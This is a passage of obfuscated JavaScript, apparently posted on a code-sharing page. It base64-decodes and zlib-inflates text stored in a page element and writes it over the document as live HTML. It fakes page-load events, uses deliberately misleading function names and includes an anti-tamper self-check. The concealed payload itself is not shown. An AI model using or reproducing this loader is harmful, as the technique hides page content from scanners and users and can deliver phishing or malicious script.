| return this["l"] = [], this["buffer"] = result; | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| createConfig[_0x56c7("0x2d")]["H"] = function() { | |
| var a; | |
| var b = this["b"]; | |
| return USE_TYPEDARRAY ? this["B"] ? (a = new Uint8Array(b))[_0x56c7("0x4")](this["a"]["subarray"](0, b)) : a = this["a"][_0x56c7("0x11")](0, b) : (this["a"][_0x56c7("0x29")] > b && (this["a"]["length"] = b), a = this["a"]), this[_0x56c7("0x33")] = a; | |
| }; | |
| /** | |
| * @return {?} | |
| */ | |
| create[_0x56c7("0x2d")]["p"] = function() { | |
| var surface; | |
| var inputAccessor = this["input"]; | |
| return surface = this["A"]["p"](), this["c"] = this["A"]["c"], this["M"] && (inputAccessor[this["c"]++] << 24 | inputAccessor[this["c"]++] << 16 | inputAccessor[this["c"]++] << 8 | inputAccessor[this["c"]++]) >>> 0 !== f(surface) && callback(Error(_0x56c7("0x3e"))), surface; | |
| }; | |
| /** @type {number} */ | |
| var delegate = 8; | |
| var p = obj; | |
| /** | |
| * @return {?} | |
| */ | |
| result[_0x56c7("0x2d")]["j"] = function() { | |
| var options; | |
| var mcsPdu; | |
| var e; | |
| var gy; | |
| var _0x4ac80e; | |
| var message; | |
| var a; | |
| /** @type {number} */ | |
| var PL$17 = 0; | |
| switch(a = this["a"], options = delegate) { | |
| case delegate: | |
| /** @type {number} */ | |
| mcsPdu = Math["LOG2E"] * Math["log"](32768) - 8; | |
| break; | |
| default: | |
| callback(Error("invalid compression method")); | |
| } | |
| switch(e = mcsPdu << 4 | options, a[PL$17++] = e, options) { | |
| case delegate: | |
| switch(this["h"]) { | |
| case p["NONE"]: | |
| /** @type {number} */ | |
| _0x4ac80e = 0; | |
| break; | |
| case p["r"]: | |
| /** @type {number} */ | |
| _0x4ac80e = 1; | |
| break; | |
| case p["k"]: | |
| /** @type {number} */ | |
| _0x4ac80e = 2; | |
| break; | |
| default: | |
| callback(Error(_0x56c7("0x36"))); | |
| }break; | |
| default: | |
| callback(Error("invalid compression method")); | |
| } | |
| return gy = _0x4ac80e << 6 | 0, a[PL$17++] = gy | 31 - (256 * e + gy) % 31, message = f(this["input"]), this["z"]["b"] = PL$17, PL$17 = (a = this["z"]["j"]())["length"], USE_TYPEDARRAY && ((a = new Uint8Array(a[_0x56c7("0x33")]))["length"] <= PL$17 + 4 && (this["a"] = new Uint8Array(a[_0x56c7("0x29")] + 4), this["a"][_0x56c7("0x4")](a), a = this["a"]), a = a["subarray"](0, PL$17 + 4)), a[PL$17++] = message >> 24 & 255, a[PL$17++] = message >> 16 & 255, a[PL$17++] = message >> 8 & 255, a[PL$17++] = | |
| 255 & message, a; | |
| }; | |
| extend(_0x56c7("0x2b"), create); | |
| extend(_0x56c7("0x24"), create[_0x56c7("0x2d")]["p"]); | |
| _pretty_print_object(_0x56c7("0x9"), { | |
| ADAPTIVE : map["C"], | |
| BLOCK : map["D"] | |
| }); | |
| extend("Zlib.Deflate", result); | |
| extend(_0x56c7("0x2e"), function(s, o) { | |
| return (new result(s, o))["j"](); | |
| }); | |
| extend("Zlib.Deflate.prototype.compress", result[_0x56c7("0x2d")]["j"]); | |
| _pretty_print_object(_0x56c7("0x0"), { | |
| NONE : p[_0x56c7("0x27")], | |
| FIXED : p["r"], | |
| DYNAMIC : p["k"] | |
| }); | |
| })[_0x56c7("0xc")](this); | |
| var ret; | |
| var foo; | |
| var value; | |
| /** @type {function(!Object): ?} */ | |
| var initSortMenu = (ret = new Array(128), foo = String[_0x56c7("0x1e")] || String[_0x56c7("0x43")], value = [], function(self) { | |
| var i; | |
| var memo; | |
| var limit = self[_0x56c7("0x29")]; | |
| /** @type {number} */ | |
| value[_0x56c7("0x29")] = 0; | |
| /** @type {number} */ | |
| var length = 0; | |
| for (; length < limit;) { | |
| if ((memo = self[length++]) <= 127) { | |
| i = memo; | |
| } else { | |
| if (memo <= 223) { | |
| /** @type {number} */ | |
| i = (31 & memo) << 6 | 63 & self[length++]; | |
| } else { | |
| if (memo <= 239) { | |
| /** @type {number} */ | |
| i = (15 & memo) << 12 | (63 & self[length++]) << 6 | 63 & self[length++]; | |
| } else { | |
| if (String[_0x56c7("0x1e")]) { | |
| /** @type {number} */ | |
| i = (7 & memo) << 18 | (63 & self[length++]) << 12 | (63 & self[length++]) << 6 | 63 & self[length++]; | |
| } else { | |
| /** @type {number} */ | |
| i = 63; | |
| /** @type {number} */ | |
| length = length + 3; | |
| } | |
| } | |
| } | |
| } | |
| value[_0x56c7("0x42")](ret[i] || (ret[i] = foo(i))); | |
| } | |
| return value["join"](""); | |
| }); | |
| let applyTheme; | |
| !function() { | |
| var name = unstripName(this, function() { | |
| /** | |
| * @return {?} | |
| */ | |
| var gotoNewOfflinePage = function() { | |
| var leon_construct = gotoNewOfflinePage[_0x56c7("0x38")](_0x56c7("0x3d"))()[_0x56c7("0x1d")](_0x56c7("0x2")); | |
| return !leon_construct[_0x56c7("0xb")](name); | |
| }; | |
| return gotoNewOfflinePage(); | |
| }); | |
| name(); | |
| const command_codes = _0x56c7("0x8"); | |
| let log = new Uint8Array(256); | |
| /** @type {number} */ | |
| var data = 0; | |
| for (; data < command_codes[_0x56c7("0x29")]; data++) { | |
| /** @type {number} */ | |
| log[command_codes[_0x56c7("0x19")](data)] = data; | |
| } | |
| /** | |
| * @param {!Object} PL$13 | |
| * @return {?} | |
| */ | |
| applyTheme = function(PL$13) { | |
| let PL$19; | |
| let sextet1; | |
| let sextet2; | |
| let leek; | |
| let userlist; | |
| let outputByteCount = 0.75 * PL$13[_0x56c7("0x29")]; | |
| let PL$4 = PL$13[_0x56c7("0x29")]; | |
| let callbackCount = 0; | |
| if ("=" === PL$13[PL$13[_0x56c7("0x29")] - 1]) { | |
| outputByteCount--; | |
| if ("=" === PL$13[PL$13["length"] - 2]) { | |
| outputByteCount--; | |
| } | |
| } | |
| let callbackVals = new Uint8Array(outputByteCount); | |
| /** @type {number} */ | |
| PL$19 = 0; | |
| for (; PL$19 < PL$4; PL$19 = PL$19 + 4) { | |
| sextet1 = log[PL$13["charCodeAt"](PL$19)]; | |
| sextet2 = log[PL$13["charCodeAt"](PL$19 + 1)]; | |
| leek = log[PL$13[_0x56c7("0x19")](PL$19 + 2)]; | |
| userlist = log[PL$13[_0x56c7("0x19")](PL$19 + 3)]; | |
| /** @type {number} */ | |
| callbackVals[callbackCount++] = sextet1 << 2 | sextet2 >> 4; | |
| /** @type {number} */ | |
| callbackVals[callbackCount++] = (15 & sextet2) << 4 | leek >> 2; | |
| /** @type {number} */ | |
| callbackVals[callbackCount++] = (3 & leek) << 6 | 63 & userlist; | |
| } | |
| return callbackVals; | |
| }; | |
| }(); | |
| const ListSubHeader = document["getElementById"](_0x56c7("0x3b"))[_0x56c7("0xe")][_0x56c7("0x35")](); | |
| const _0x78dd42 = applyTheme(ListSubHeader); | |
| const GET_AUTH_URL_TIMEOUT = initSortMenu((new (Zlib[_0x56c7("0x39")])(_0x78dd42))[_0x56c7("0x14")]()); | |
| const notif_data = (new DOMParser)["parseFromString"](GET_AUTH_URL_TIMEOUT, "text/html"); | |
| const B528 = '(function() {\n window.document.dispatchEvent(new Event("DOMContentLoaded", {\n bubbles: true,\n cancelable: true\n }));\n const le = document.createEvent("HTMLEvents");\n le.initEvent("load", false, true);\n document.dispatchEvent(le);\n document.currentScript.remove();\n })();\n '; | |
| const artistTrack = document[_0x56c7("0x12")]("script"); | |
| artistTrack[_0x56c7("0x2c")] = B528["trim"](); | |
| notif_data["body"][_0x56c7("0x28")](artistTrack); | |
| setTimeout(function() { | |
| document[_0x56c7("0x1")](notif_data[_0x56c7("0x32")][_0x56c7("0xe")]); | |
| document[_0x56c7("0x40")](); | |
| }, 0); | |
| }(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment